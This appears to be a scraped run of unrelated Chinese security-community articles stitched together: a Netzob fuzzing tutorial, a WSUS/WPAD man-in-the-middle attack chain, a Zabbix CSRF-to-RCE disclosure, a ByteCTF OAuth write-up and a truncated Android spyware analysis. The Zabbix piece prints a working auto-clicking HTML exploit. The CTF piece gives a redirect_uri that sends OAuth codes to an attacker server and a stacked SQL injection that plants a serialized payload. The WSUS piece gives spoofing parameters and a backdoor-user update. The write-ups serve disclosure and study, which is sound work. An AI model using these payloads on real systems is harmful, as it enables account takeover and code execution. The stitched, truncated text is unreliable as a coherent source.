* 2017年十月25日：完全修复该漏洞 （ <https://github.com/spring-projects/spring-data-rest/commit/d48499ad8d61714d9f8f836c3eb859c52f59b673> ）
* 2018年三月1日：在 lgtm.com/blog 公开了两篇文章。由于漏洞影响太广泛。在Pivotal的要求下，我们直到2018年的三月才公开这漏洞细节。
# 结论
在这篇文章中，我们看到怎样使用QL在代码中识别类似的漏洞并且确保漏洞已经被修复完善。这种类型的变体分析已经在很多客户中取得了巨大的成功，并且我希望这些也对你有用。这里有一些更进一步的例子，这个查询
（ <https://lgtm.com/query/1505829066076/> ）可以识别 CVE-2017-4971 （
<https://pivotal.io/security/cve-2017-4971> ） 和 CVE-2017-8039 （
<https://pivotal.io/security/cve-2017-8039>
）。我已经在更早的文章中解析过这两个漏洞，他们都是因为不安全的SpEL 表达式解析造成的。 | 社区文章 |
# 【技术分享】使用Netzob逆向未知协议
|
##### 译文声明
本文是翻译文章，文章来源：amossys.fr
原文地址：<http://blog.amossys.fr/How_to_reverse_unknown_protocols_using_Netzob.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[myswsun](http://bobao.360.cn/member/contribute?uid=2775084127)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**0x00 前言**
本文主要介绍如何使用Netzob来逆向未知协议。通过简单学习协议的消息格式及其状态机，并且给出一些关于实际通信中如何产生流量的观点。最后，我们说明如何针对服务器的实现使用基本的模糊测试。
**0x01 Netzob简介**
Netzob是一个用于逆向工程、生成流量和模糊测试通信协议的开源工具。它允许通过被动和主动的过程来推断协议的消息格式和状态机。该模型可以用于模拟现实和可控流量以及模糊测试目标实现。
通过这个教程，我们将介绍Netzob的主要功能，推断消息格式和简单协议的语法，并且在最后介绍些基本实现的模糊测试。被介绍的功能覆盖以下能力：
**导入一个我们想逆向的包含痕迹的文件**
**推断消息格式**
区分特定分隔符的消息
重组特定关键字字段消息
区分序列对齐的每个消息的子集
查找每组消息的关联性
修改消息格式，应用发现的关系
**推断语法**
根据捕获的消息序列，生成一个主状态机
根据捕获的消息序列，生成一个序列的状态机
根据捕获的消息序列，生成一个Prefix Tree Acceptor (PTA)
**生成流量和fuzz服务器**
生成遵循推断的每组消息格式的消息
通过不同的消息格式fuzzing服务器
**0x02 安装Netzob和下载教程**
首先，得到Netzob的源代码，安装依赖库和编译底层库。如果需要，有关安装过程的更多详细信息，请参见README文件。
然后，你能获得教程中使用的协议实现的源代码，和一些消息序列的PCAP文件：
[测试协议实现](https://dev.netzob.org/attachments/download/179/tutorial_netzob_v1.tar.gz)
[序列1的PCAP文件](https://dev.netzob.org/attachments/download/182/target_src_v1_session1.pcap)
[序列2的PCAP文件](https://dev.netzob.org/attachments/download/181/target_src_v1_session2.pcap)
[序列3的PCAP文件](https://dev.netzob.org/attachments/download/180/target_src_v1_session3.pcap)
下节通过几步来逆向这个测试协议。在深入Netzob功能前，你能先看一下它的文档，尤其是API的描述。
**0x03 消息格式接口**
**从一个PCAP文件中导入消息**
大部分逆向协议的第一步是收集重要的通信实例。在这个教程中，例子来自PCAP文件。可以通过PCAPImporter.readfile()函数从PCAP文件中读取数据包。这个函数有可选参数来指定[BPF](https://en.wikipedia.org/wiki/Berkeley_Packet_Filter)过滤，导入层或者捕获到的数据包如下：
这个函数能用来从模拟我们测试协议实现的PCAP文件中导出消息。例如，下面的代码创建了一个基于从PCAP导出的消息的symbol。这个symbol代表了共享相同语法和语义的所有消息。换句话说，symbol是一组相似消息的抽象，这组消息从协议的角度看有相同的影响。首先，从PCAP文件导入的消息以symbol的形式分组了。对于这个symbol我们使用不同的方法来确定协议的消息格式。
**使用分隔符做格式区分**
根据快速浏览消息，字符#出现在每个消息中间。因此，第一步根据字符#分割每条消息。根据文档描述，函数splitDelimiter()有这个功能：
让我们使用分隔符#来调用splitDelimiter函数。我们能使用_str_debug()方法结构化输出获得的字段。这个方法显示了symbol结构的ASCII的展示，因此显示了每个字段的定义。
关于分割的消息，显示如下：
**根据关键字段分簇**
现在我们有了symbol的不同字段的分解，让我们试下重组一些消息：这是Netzob中分簇方法的目的。
在这个例子中，第一个字段是有用的，因为它包含了几种命令行（CMDencrypt,
CMDidentify等）。让我们根据第一个字段分簇（如有相同第一个字段的消息分为一组）。我们使用clusterByKeyField()函数：
这里，使用该函数生成捕捉到的消息的symbol列表：
分簇算法生成了14个不同的symbol，每个symbol都有一个唯一的第一个字段。
**在每个symbol中以序列对齐来区分格式**
在这步，我们重组了消息，并且有每个消息的3个字段的基本分解：命令字段，分割字段和不定长内容。让我们关注下最后一个字段。具有动态大小的字段是我们在Netzob中序列对齐的良好选择。这个功能让我们对齐静态和动态的子字段。为了做到这个，使用splitAligned()函数：
在接下来的文中，我们想通过序列对齐算法来对齐每个symbol的最后一个字段：
对于symbol
CMDencrypt，序列对齐后的最后一个字段编程如下格式，我们能看到两个可变字段的包裹一个静态字段x00x00x00。最后一个字段似乎是我们想加密的缓冲区，因为字段关键字的暗示（如CMDencrypt）。
**找到每个symbol的关系**
现在让哦我们试着找出这些消息的关系。Netzob的API提供了静态函数RelationFinder.findOnSymbol()，让我们确定潜在的消息字段之间的关系：
下文显示了如何在我们未知的协议中找到关系，并且如何处理结果：
导出结果如下，我们已经找到了symbol CMDencrypt在内容字段（第三个字段）和另一个字段程度的的关系（最后一个，假设包含我们想加密的缓冲区的字段）
**应用找到symbol结构之间的关系**
因此我们刚刚发现了一个与下个字段大小相关的字段。关于这个结果，我们修改消息格式来应用我们找到的关系。我们通过创建一个Size字段来做这个，这个字段的值依赖目标字段的内容。我们也指定一个事实是Size字段的大小应该是缓冲区字段的八分之一（因为每个字段默认按位描述）。
CMDencrypt的结果如下：
我们已经显示了CMDencrypt的结果，但是我们协议的其他symbol需要做相同的工作。结果，我么能得到每个symbol的完整定义。
好了，消息格式的推断结束了。按照现在我们对于每个symbol的理解，我们来逆向协议的状态机。
**0x04 推断状态机**
**生成一个状态机链**
教程的第一部分我们着重逆向协议的消息格式。我们现在开始逆向状态机，如说明授权的消息序列的语法。在这个部分，通过学习观察消息序列我们生成3种antomata。在Netzob中对象Session表示消息序列。而且当和symbols一起时（一组相似消息的组合的抽象），抽象消息的序列用abstract
session表示。这个对象被用来推测状态机。
在这个部分，我们将介绍3种方法来生成基于我们的PCAP文件的automata。
基于我们学习的symbols，我们我们将首先生成一个基本的automaton，来描述从PCAP文件中导出的命令和响应的序列。对于每个消息的发送，将创建一个新的状态，因此命名为chained
states automaton。
获取到的automaton最终能转化为dotcode，图形展示如下。
**生成一个状态机**
这时，代替将PCAP转化为我们观察到的每个消息的序列的状态，我们生成一个唯一的状态来接收任何发送消息触发的状态转变。每个发送消息的响应（如CMDencrypt），我们需要一个指定的响应（如REDencrypt）。
获得的automaton转化为dotcode，图形展示如下。
**生成一个基于PTA的automaton**
最后，我们将不同的PCAP文件导出的消息序列转化为生成一个我们已经合并相同路径的automaton。底层合并策略被称为Prefix-Tree
Acceptor。
获得的automaton转化为dotcode，图形显示如下。
**0x04 流量生成和fuzzing**
**根据推断的模型产生消息**
我们现在已经理解了消息格式和目标协议的语法。让我们测试下这个模型，通过尝试和真实的服务器通信。
首先，启动服务器。
然后我们创建一个UDP客户端，交互推断出的消息与服务器通信（127.0.0.1:4242）。
在Netzob中，这个角色表示了通信的远端端口。这个角色可以收发遵循推测的状态机和消息格式的数据。为了转化symbols为具体的消息，或者为了将收到的具体的消息转化为symbols，一个抽象层被使用。这个组件确保了发送的symbols和接收的消息抽象。
在automaton中我们有8个迭代。
关于真实的服务器，我们能看见接收到的消息格式正确，因为服务器能解析他们并正确响应。
**Fuzzing一个指定的symbol**
最终，我们选择CMDencrypt的消息格式。修改的格式与缓冲区字段的大小的扩展一致。
我们能看见Netzob仅仅发送了包含长的最后一个字段的CMDencrypt消息。
[+] Sending: 'CMDencrypt#6x00x00x00&xe0*xb3xa8A(x0bxd2yAxb5xb8rwx0fGixeexb3xd6xb0<xfcxc0xa7mxbdxbcxde2~xceExe5xda@xd4xedxedxf2xb4xe7txfbCxbfx05xc6xcexfbx83xf2x00'
(...)
在服务端，我们会得到错误消息，由于解析最后一个字段的bug导致的。
教程到此就结束了。现在你们应该能用Netzob来推断消息格式，甚至必要的语法。
关于这个教程，整个脚本可以在这找到：[https://dev.netzob.org/attachments/download/183/inference_target_src_v1.py](https://dev.netzob.org/attachments/download/183/inference_target_src_v1.py)
同时，不要忘了读[API文档](https://netzob.readthedocs.org/en/latest/)，如果过有任何问题可以和netzob开发团队交流。 | 社区文章 |
# 【技术分享】Windows更新服务-WSUS中间人劫持
|
##### 译文声明
本文是翻译文章，文章来源：sixdub
原文地址：<https://www.sixdub.net/?p=623>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**翻译：**[ **t0stmail**](http://bobao.360.cn/member/contribute?uid=138185681)
**稿费：170RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**前言**
本文介绍了wpad攻击与wsus攻击的原理，并结合已有的工具进行攻击演示。
**WPAD **攻击****
Web代理自动发现（WPAD）是Microsoft
Windows客户端用于自动配置本地代理设置的协议.协议允许用户客户端（例如IE）自动定位和使用适当的代理设置以访问企业网络出口。 协议使用过程如下：
1\. DHCP时是否获得去了代理配置
2\. 如果没有，解析“wpad.domain.com”，并从该服务器获取配置。
3\. 如果我们没有得到结果，使用NetBIOS（NBT-NS）广播来解析名称“WPAD”
4\. 如果找到服务器，请从该服务器请求具有uri“/wpad.dat（http：// <SERVER> /wpad.dat）”的资源，其中将包含代理的设置
由于在NBT-NS回复（步骤3）期间缺乏验证，客户请求的广播域或本地子网中的任何其他客户端都可以响应并声称自己是WPAD服务器。然后恶意的WPAD服务器可以提供一个恶意的配置文件来配置目标的代理设置，且可以拦截所有客户流量进行篡改。
**WSUS **中间人攻击****
Windows Server Update Services（WSUS）是一种允许企业集中管理和部署更新补丁或修补程序的系统。 在Blackhat USA
2015，来自Context的一组安全研究人员Paul Stone（@pdjstone）和Alex Chapman介绍了企业在不加密网络上进行更新的问题。
他们明确指出，没有SSL，任何人都可以对WSUS进行中间人攻击，以提供恶意的更新包。 顺便说一下，HTTP是WSUS的默认值。
另外一个问题：更新文件必须有Microsoft签名。 解决方案是： PsExec.exe具有微软签名，可以用来执行任意Windows命令。
**
**
****结合攻击****
对于本节，我假设我们已从外部获得对加入域的主机的初始访问。
**1\. Identify the Possibilities**
第一步是识别任何WSUS错误配置。我们可以通过查询注册表来确定系统的WSUS设置。我们可以查询Internet
Explorer的当前代理配置，如果WSUS的URL是“HTTP：// <SERVER>”，并且浏览器设置为自动配置代理，则我们可以继续！
可能的注册表键值：
HKLMSoftwarePoliciesMicrosoftWindowsWindowsUpdateWUServer
HKLMSoftwarePoliciesMicrosoftWindowsWindowsUpdateAUUseWUServer
HKCUSoftwareMicrosoftWindowsCurrentVersionInternet SettingsConnectionsDefaultConnectionSettings
注意：如果第5个字节是偶数，则Internet Explorer中设置了wpad代理
WSUS Settings
Automatic Settings Selected (5th byte)
我们可以使用ARP找到我们要定位的子网上的另一个主机
**2\. Network Bending Kung-fu**
我们使用Cobalt Strike’s
Beacon功能进行反向端口转发。在WPAD投毒中，我们可以将受害者的浏览器指向我们的“代理”，这是目标网络到我们的C2服务器的反向隧道。然后，使用SOCKS转发，将浏览流量推送回环境中，以接收除了篡改包之外的WSUS操作更新。
**3\. Poison**
首先，配置我的恶意载荷和启动WSUSpectProxy。WSUSpectProxy接收其payload.ini文件中定义的自定义内容（示例如下所示）。
像研究人员在他们的白皮书推荐的一样，我使用PsExec.exe利用参数启动powershell.exe运行“net user”和“net
localgroup”添加一个后门用户“bob”。
（WSUSpectProxy项 目：<https://github.com/ctxis/wsuspect-proxy>）
其次启动Invoke-Inveigh，有以下参数设置：
-IP <IP OF POISON VICTIM> : Set the IP to bind the raw socket to
-NBNS Y : Set NBNS spoofing to be enabled
-LLMNR Y : Set LLMNR spoofing to be enabled
-HTTP Y : Turn on the HTTP server for serving up WPAD.dat files
-SMB N : Do not do any sort of SMB relay kind of stuff
-StatusOutput Y : Print status outputs
-Tool 2 : Configure the settings to run this in a certain tool. The Empire setting works well for Cobalt Strike
-SpooferIPsReply <TARGET IP> : IP of the target or CSV list of targets
-WPADAuth Anonymous : Do not pop a creds box for the WPAD
-WPADIp <ProxyHost> : IP of poison host where the rportfwd command is run
-WPADPort 8080 : port of the rportfwd command
此命令将执行对目标的WPDA投毒，并提供一个WPAD.dat，指向目标浏览器，该端口将转发回我们的C2服务器的8080端口。
**4\. MITM Updates**
一旦满足MITM条件，目标的更新请求就被拦截，我的恶意数据包就会被传递给客户端。 由于是关键更新，因此会被执行，添加一个本地用户。
现在我们可以访问并且可以使用新添加的用户部署Beacon代理。
****
****
****修复****
这个攻击的成功包含了很多的缺陷，他们必须在网络中被修复，但是我还是看到很多对这个攻击链过程中的很多错误的配置与控制。除了进行控制以防止漏洞外，有很多方法，像SOC和CIRT可以在网络中与复杂的攻击者中检测出恶意活动，前提是检测是可信的。
**Wpad控制/修复**
要修复WPAD配置错误，应在内部DNS服务器中添加名称为“wpad”的DNS A或CNAME记录，以防止主机进入执行MDNS / LLMNR广播的步骤。
此外，如果不需要该功能，可以通过GPO取消选中自动设置功能。
[https://technet.microsoft.com/en-us/library/cc995062.aspx](https://technet.microsoft.com/en-us/library/cc995062.aspx)
[http://tektab.com/2012/09/26/setting-up-web-proxy-autodiscovery-protocol-wpad-using-dns/](http://tektab.com/2012/09/26/setting-up-web-proxy-autodiscovery-protocol-wpad-using-dns/)
**WSUS修复**
任何更新软件包或软件都应始终通过安全连接（至少为SSL）进行部署。有很多项目如后门软件和应用程序都在网络中传输。很多人利用这种技术获得初始访问和横向渗透。对于WSUS后门，这个网站有助于你进行正确的配置：
<https://technet.microsoft.com/en-us/library/hh852346.aspx#bkmk_3.5.ConfigSSL>
**检测**
预防控制是一个最低限度的检测，随着组织架构的成长，审计能力是必须的。
**PowerShell v5**
PowerShell
v4和v5引入了许多值得欣赏的功能。在这里特别提到他们，因为我在我的攻击链中使用了Inveigh.ps1，但是与底层技术的检测不直接相关，只有“武器化矢量”。PowerShell攻击频率正在上升，任何正在改进网络检测的人都应该寻找并引入一定的措施来应对PowerShell攻击。
**事件日志**
尽管在大型网络中，日志的存储转发很困难，但从监测和收集这些日志所获得的价值来说我认为是完全值得的。在这种攻击链的情况下，似乎最好的日志记录是添加集合是c:
windows
windowsupdate.log文件。“WindowsUpdateClient”源和17或19的系统事件日志将显示已下载/安装的更新的名称。
在这种情况下，DNS日志的记录也将非常有用。假设组织怀疑被wpad投毒，在没有控制的情况下将新工作站引入环境，或者当前工作站被禁用，则他们将告警。
**WMI事件描述**
****
我们的团队是一个对WMI的进攻和防守巨大的支持者。
你可能已经看到了马特•格雷伯最近的twitter，如这里，他提供WMI签名，将提供周围值得监测的警报事件。 ATD的Hunt能力主管Jared
Atkinson开发了一个名为Uproot的工具，它实际上是一个使用WMI Event Subscription的无代理IDS主机。
在我们这个例子下，我们可以创建WMI事件过滤器：“HKEY_USERS <USER-GUID> Software Microsoft Windows
CurrentVersion Internet Settings Wpad”下的网络配置文件。此外，你可以在创建或修改wpad.dat文件时，获取临时删除的
<USER APP DATA> Local Microsoft Windows Temporary Internet Files Content.IE5
”文件。
****结论****
虽然我没有在这篇文章中介绍任何新工具，我的目标是拼凑几个不错的工具，以展示一个有趣的攻击链和鼓励创造性的技术。
此外，我希望能够阐明我在大型企业环境中仍然常见的几种错误配置。 | 社区文章 |
原文地址：<https://www.horizon3.ai/disclosures/zabbix-csrf-to-rce>
## 概述
[Zabbix](https://www.zabbix.com/
"Zabbix")是一个企业级IT网络和应用监控解决方案。在对其[源代](https://github.com/zabbix/zabbix
"源代")码的例行审查过程中，我们在Zabbix
UI的身份验证组件中发现了一个CSRF（跨站点请求伪造）漏洞。利用该漏洞，攻击者无需经过身份验证，只要诱使Zabbix管理员点击恶意链接，就能接管Zabbix管理员的帐户。即使浏览器设置了默认的`SameSite=Lax`
Cookie保护，攻击者也能在所有浏览器中利用该漏洞。目前，该漏洞已在Zabbix
4.0.28rc1、5.0.8rc1、5.2.4rc1和5.4.0alpha1版本中得到修复。
## 漏洞的影响
这个漏洞的影响很大：虽然利用该漏洞需要用户的交互，但成功利用漏洞就能完全接管Zabbix管理员帐户。获取Zabbix的管理权限后，攻击者不仅能访问网络上其他设备的各种信息，还能够在Zabbix服务器上执行任意命令。在某些配置中，攻击者甚至还可以在Zabbix监视的主机上执行任意命令。
CVSS向量：[AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H&version=3.1
"AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H")
在撰写本文时，互联网上大约有20k个Zabbix实例，这些都是在Shodan网站上通过关键字“html：Zabbix”搜索到的。
## 补救措施
至少升级到[Zabbix
4.0.28rc1、5.0.8rc1、5.2.4rc1或5.4.0alpha1版本](https://www.zabbix.com/release_notes
"Zabbix 4.0.28rc1、5.0.8rc1、5.2.4rc1或5.4.0alpha1版本")。
## 背景知识
CSRF漏洞的利用原理如下所示：
首先，用户（受害者）已经登录到一个存在漏洞的网站（目标网站）。在这种情况下，“已经登录”只是意味着用户的浏览器内存储了一个有效的会话cookie或目标网站的基本认证凭证，但是浏览器应用程序不一定需要打开。
接下来，攻击者利用社会工程来说服受害用户点击指向恶意攻击者控制的网站的链接。实际上，实现这一目的的方法有很多种，如钓鱼邮件，或聊天时发送恶意链接等。
当受害者访问恶意网站时，来自恶意网站的HTML/JavaScript代码会被加载到受害者的浏览器中。然后，这些代码会向目标网站发送API请求。由于来自恶意网站的请求在受害者的浏览器看来是合法的，因此，受害者的浏览器会将用户的会话cookie和请求一起发送给恶意网站。
恶意请求将传递给目标网络应用，但是，目标网络应用程序无法判断该请求是来自恶意的源。所以，目标网络应用程序将代表攻击者执行他们请求的操作。CSRF攻击通常会滥用与身份验证相关的操作，如创建或修改用户或更改密码。
## CSRF的防御措施
在抵御CSRF攻击时，最常用的方法是使用反CSRF令牌。这些令牌就是随机生成的一段数据，并作为从应用程序的前端代码发送给后端的请求的一部分。之后，后端会同时验证反CSRF令牌和用户的会话Cookie。这些令牌可以作为HTTP标头传输，也可以放到请求正文中进行传输，但不能作为Cookie传输。如果实现不出现纰漏的话，这种方法完全可以挫败CSRF攻击，因为攻击者很难通过手工方式创建包含正确的反CSRF令牌的伪造请求。
对于Zabbix来说，其反CSRF令牌是以`sid`参数的形式通过请求正文来传递的。例如，下面是将Zabbix
Admin用户密码更新为值`zabbix1`的请求：
如果`sid`参数丢失或不正确，该请求将失败。
此外，`Same-Site`
cookie属性也能为防御CSRF攻击起到一定的作用。通过该设置，可以规定浏览器何时可以将cookie作为跨站点请求的一部分传输到站点。这个属性具有三个值，分别为`Strict`、`Lax`和`None`。
* `Same-Site = Strict`：绝对不能将Cookie作为跨站点请求的一部分发送。
* `Same-Site = Lax`：仅当Cookie是GET请求并影响顶级导航（即导致浏览器地址栏的更改），才将Cookie作为跨站点请求的一部分发送。单击链接被认为是顶级导航，而加载图像或脚本则不是。GET请求通常被认为是安全的，因为它们通常不会改变任何后端状态。
* `Same-Site-None`：为所有跨站请求发送Cookie。
Web应用程序开发人员可以选择显式设置`Same-Site`属性的值，并将其作为在用户进行身份验证后将cookie发送到前端的一部分。如果未显式地设置该属性，现代浏览器会将其默认值设置为`Lax`——Zabbix就属于这种情况，由于`Same-Site`属性未设置，所以默认为`Lax`。
## Zabbix CVE-2021-27927
如上所述，Zabbix使用了反CSRF令牌，这些令牌可以有效抵御试图利用添加和修改用户和角色等操作的CSRF攻击。然而，我们发现了一个重要的场景，在这个场景中，系统并不会对反CSRF令牌进行验证：对应用程序的身份验证设置进行更新时。
这个表单控制登录Zabbix时使用的身份验证类型，它可以是“Internal”或“LDAP”类型。如果是LDAP类型，还可以设置LDAP主机和端口、基准域名等LDAP提供者的详细信息。
但是，处理这个表单提交的后端控制器类[CControllerAuthenticationUpdate](https://github.com/zabbix/zabbix/blob/79a8ae47e89eb0a468ccf917f19380a66938d75d/ui/app/controllers/CControllerAuthenticationUpdate.php
"CControllerAuthenticationUpdate")却关闭了令牌验证，具体如下图所示：
此外，同样重要的是，我们发现在Zabbix中，通过POST在请求正文中提交的任何参数都可以等效地通过GET作为URL查询参数来提交。这意味着，下面缺少sid参数的、伪造的GET请求，与包含sid的合法POST请求是等效的。
GET /zabbix.php?form_refresh=1&action=authentication.update&db_authentication_type=0&authentication_type=1&http_auth_enabled=0&ldap_configured=1&ldap_host=10.0.229.1&ldap_port=389&ldap_base_dn=dc%3Dsmoke%2Cdc%3Dnet&ldap_search_attribute=sAMAccountName&ldap_bind_dn=cn%3DAdmin%2CCN%3DUsers%2CDC%3Dsmoke%2CDC%3Dnet&ldap_case_sensitive=1&action_passw_change=authentication.edit&ldap_test_user=Admin&ldap_test_password=Z@bb1x!&saml_auth_enabled=0&update=Update
上面的请求的作用，是把身份验证类型改为LDAP，并设置各种LDAP属性。
## Exploit
为了完成整个攻击过程，攻击者需要执行下列操作：
首先，建立一个由攻击者控制的LDAP服务器，这样目标Zabbix应用就可以通过网络访问该服务器了。在本例中，我们使用了一个地址为10.0.229.1的Active
Directory服务器。此外，我们还在该服务器中配置了一个名为“Admin”的用户（与内置的Zabbix管理员用户名一致），其密码为“Z@bb1x！”。
然后，托管一个包含恶意HTML页面的网站。在我们的例子中，我们创建了一个HTML页面，其中包含一个带有伪造的跨站请求的链接。加载该页面后，该链接会通过JavaScript自动点击。这就满足了“顶级导航（top-level navigation）”的要求。
<html>
<body>
<p>Any web site</p>
<a id='link' href='http://192.168.0.140/zabbix.php?form_refresh=1&action=authentication.update&db_authentication_type=0&authentication_type=1&http_auth_enabled=0&ldap_configured=1&ldap_host=10.0.229.1&ldap_port=389&ldap_base_dn=dc%3Dsmoke%2Cdc%3Dnet&ldap_search_attribute=sAMAccountName&ldap_bind_dn=cn%3DAdmin%2CCN%3DUsers%2CDC%3Dsmoke%2CDC%3Dnet&ldap_case_sensitive=1&action_passw_change=authentication.edit&ldap_test_user=Admin&ldap_test_password=Z@bb1x!&saml_auth_enabled=0&update=Update'></a>
<script>
document.getElementById('link').click();
</script>
</body>
</html>
最后，诱使被害者即Zabbix Admin用户单击指向恶意站点的链接。用户一旦上当，Zabbix管理员就会看到站点上的身份验证设置被自动更新，具体如下所示：
此时，攻击者可以用自己的Admin用户凭证登录。顺便说一句，受害者Zabbix Admin的会话仍然是有效的，直到他/她注销为止。
这种特殊的CSRF攻击的一个有趣的地方在于，它不是“盲打”。这是因为Zabbix会使用测试用户和密码来验证LDAP服务器的连接，这是处理身份验证设置表单提交的一部分。攻击者可以通过Zabbix应用程序连接到他/她自己的LDAP服务器，从而立即获悉CSRF攻击是否得手。一旦测试连接成功，攻击者就可以自动登录到受害者的Zabbix服务器并进行进一步的操作。
## 远程命令执行
一旦攻击者获得了管理员权限，他/她就可以轻松地获得远程命令执行权限，因为这是该产品的一个内置功能。实际上，UI的Scripts部分，就是专门存放在Zabbix服务器、Zabbix服务器代理或Zabbix代理（代理运行在被Zabbix监控的主机上）上执行任何命令的。
例如，要在Zabbix服务器上获取一个反向shell，攻击者可以修改内置的Detect Operating
Systems脚本，以添加如下所示的perl反向shell payload：
然后，在仪表板页面上执行该脚本：
获取反向shell：
根据具体的配置情况，攻击者也可以在服务器代理或代理上运行远程命令。这方面的更多细节，请参考Zabbix文档。
## 时间线
* 2021年1月3日，向供应商披露相关漏洞。
* 2021年1月13日，供应商修复了代码中的漏洞。
* 2021年2月22日，供应商为所有支持的版本提供了相应的新版本
* 2021年3月3日，公开漏洞细节。
## 参考资料
* <https://support.zabbix.com/browse/ZBX-18942>
* <https://github.com/zabbix/zabbix/blob/79a8ae47e89eb0a468ccf917f19380a66938d75d/ui/app/controllers/CControllerAuthenticationUpdate.php>
* <https://www.zabbix.com/release_notes>
* <https://nvd.nist.gov/vuln/detail/CVE-2021-27927> | 社区文章 |
# Bytectf web sp-oauth 题解
ByteCTF唯一一道0解题目，比赛的时候卡住了，最后磕磕绊绊的做了一下
这个题目主要考察对Spring-oauth的理解，可惜我对Spring-oauth一无所知:)
题目分为两个端口
<http://39.105.175.150:30003/>
<http://39.105.175.150:30002/>
30003端口是最开始题目给的端口
然后又给出了一个ice cream在30002
[http://39.105.175.150:30002/oauth/authorize?response_type=code&client_id=62608e08adc29a8d6dbc9754e659f125&redirect_uri=http://39.105.175.150:30003/zwo/callback](http://39.105.175.150:30002/oauth/authorize?response_type=code&client_id=62608e08adc29a8d6dbc9754e659f125&redirect_uri=http://39.105.175.150:30003/zwo/callback)
好了，我们先了解一下正常的流程，在30003端口注册一个用户cxcsec
然后在30002端口注册一个cxctest,登录我们访问最开始的链接
[http://39.105.175.150:30002/oauth/authorize?response_type=code&client_id=62608e08adc29a8d6dbc9754e659f125&redirect_uri=http://39.105.175.150:30003/zwo/callback](http://39.105.175.150:30002/oauth/authorize?response_type=code&client_id=62608e08adc29a8d6dbc9754e659f125&redirect_uri=http://39.105.175.150:30003/zwo/callback)
会发现跳转到了30003的bind接口
这时候输入30003的cxcsec的账号密码，我们就可以把30002的cxctest和30003的cxcsec进行绑定。再登录30002的cxctest，就可以转到30003的cxcsec账号
那么这个过程中的什么步骤我们可以控制一下呢？就是30002最开始的那个链接
## 成为管理员
我们可以搜到这么一篇文章<https://www.redhatzone.com/ask/article/2379.html>
可以通过设置redirect_url为
> <http://xxx.xxx.xxx.xxx%[email protected]:30003/zwo/callback>
来使其请求重定向到我们的服务器，并且携带code
验证一下
我们可以看到服务器收到了我们的code，这个code是用一次就失效的。
在正常流程中，我们进行跳转之后，会获得一个
> Set-Cookie: JSESSIONID=xxxxxx; Path=/; HttpOnly
我们用这个cookie就能访问到30003对应的用户，所以沿着这个思路，我们知道30003最开始登录进去是之后，有一个给bot提供url的操作。那么我们将恶意的url传给bot，就可以打到bot的code。
在实际操作的时候，还是卡了很久。一开始以为自己的思路错误，后来发现是host的锅，我们必须把host设置成redirect_url的值，才能正常返回302。不然的话会如下报错
拿到cookie之后，登录进管理员。我们可以看到一个查看客户端信息
这个地方也是卡了好久，可能当时做题太累，当时脑袋卡住了。这地方是30002端口，我当时点击之后，就会跳到30002的登录界面。两个多小时后发现，只要正常登录一个30002的账户，然后就可以正常访问这个url
这地方是个sql注入，没有任何限制。这里sqlmap可以直接拖库。尝试了好久好久的ssti，直到比赛最后给了pom.xml提示，我还看到了thymeleaf，然后继续搞ssti到接近比赛结束。主要感觉如果是反序列化的话，没有触发点(原谅我太天真了),就没怎么看反序列化。
直到比赛结束，就做到这里
## 反序列化
最后找到了，发现了spring-oauth的一些数据，是序列化存储在数据库中的<https://www.cxyzjd.com/article/u014730165/83501594>
不知道是不是因为我的sqlmap版本太古老了，我拖库之后，发现token没有值，想当然以为是出题人设置。所以当时直接认为反序列化这条路行不通
我们从题目中看一下
那就很简单了，看pom.xml有javax.transaction-api依赖，估计是打SpringJndiWithJtaTransactionManager。题目的sql注入可以堆叠，直接update自己的30002端口用户的token为恶意payload就可以
> client_id=62608e08adc29a8d6dbc9754e659f125'union select
> hex(token),"1",'1','4','1' ,'6','7',"9","99",'1','9' from oauth_access_token
> where user_name='cxc' limit 1,1;update oauth_access_token set
> token=0xacedxxxxxxxxxxxxxxxxxxxxxxxxxxxxd where user_name='cxc'%23
这里需要注意的是，想要触发反序列化还得再访问一次正常的链接
>
> [http://39.105.175.150:30002/oauth/authorize?response_type=code&client_id=62608e08adc29a8d6dbc9754e659f125&redirect_uri=http://39.105.175.150:30003/zwo/callback](http://39.105.175.150:30002/oauth/authorize?response_type=code&client_id=62608e08adc29a8d6dbc9754e659f125&redirect_uri=http://39.105.175.150:30003/zwo/callback)
我在实际测试中ldap协议打不了，不知道为啥，蹲一个大佬解释。 | 社区文章 |
# 新型间谍木马来袭
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**背景：**
近些年，地下黑产组织针对全世界各国大型银行进行持续性的APT攻击，尤其是针对韩国、西班牙、葡萄牙等大型银行，采用仿冒、间谍软件、钓鱼劫持、勒索等技术手段，窃取用户个人信息，非法入侵用户的互联网账户系统。
近期，恒安嘉新暗影安全实验室在日常监测中，发现一批针对韩国银行用户的新型间谍软件。这批木马样本仿冒成“智能快递”、“罗森快递”、“CJ韩国快递”、“现代快递”、“交货查询”、“韩进快递”、“SJEMS”等12种知名快递公司名称，采用加固代码隐藏，免杀，任意更换远程控制地址、任意替换新型木马等手段，配置非常灵活，根据C&C端下发的指令进行远程控制，窃取用户手机号码、通信录、通话录音、短信等个人隐私信息，最终盗取用户互联网账户的资金，其中，“智能快递”间谍木马的安装图标如图1所示。
图1 “스마트택배”（智能快递）图标
## 1.基本信息
**样本名称** ：스마트택배（智能快递）
**样本MD5** ：d891a72721a8f2b31c5e0759afb0d4a9
**样本包名** :com.mix.kr
**签名信息** ：CN=AndroidDebug,O=Android,C=US
## 2.运行原理
**该程序是一款通过仿冒成“스마트택배”（智能快递）名称的间谍木马软件，开机时自启动，隐藏安装图标，激活设备管理器，屏蔽拦截短信、屏蔽挂断指定电话、上传通话录音文件、删除通话记录，上传用户手机号和固件信息到指定服务器，根据C
&C服务端下发的指令执行远程控制行为：**
1. **设置配置文件信息**
2. **上传通信录列表**
3. **上传应用列表**
4. **上传短信列表**
5. **发送任意短信**
6. **更新间谍软件程序**
7. **更新服务器地址**
**木马运行流程示意图：**
图2 木马运行流程示意图
## 3.代码分析
